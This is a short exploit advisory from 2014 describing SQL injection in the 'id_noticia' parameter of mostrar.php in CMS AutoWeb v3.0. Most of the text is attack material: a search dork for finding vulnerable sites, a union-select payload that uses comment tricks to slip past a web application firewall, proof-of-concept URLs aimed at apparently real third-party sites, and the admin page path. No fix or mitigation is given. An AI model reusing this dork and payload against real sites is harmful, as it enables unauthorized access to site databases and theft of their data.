[+] Sql Injection on CMS AutoWeb v3.0 [+] Date: 24/09/2014 [+] CWE Number : CWE-89 [+] Risk: High [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: http://www.multdivision.com.br [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Linux [+] Vulnerable File: mostrar.php [+} Dork : inurl:"mostrar.php?id_noticia=" [+] Exploit : http://host/mostrar.php?id_noticia=[SQL Injection] ps:need bypass the WAF protection use sql injection manual. [+] PoC: http://www.cbnmogi.com.br/mostrar.php?id_noticia=2671+and+0+/*!12345union*/+/*!12345select*/+1,version%28%29,database%28%29,4,user%28%29,6,7,8,9,10--+ <-- example of how to xploit http://fmg.edu.br/mostrar.php?id_noticia=77' [+] Admin Page: http://host/admin/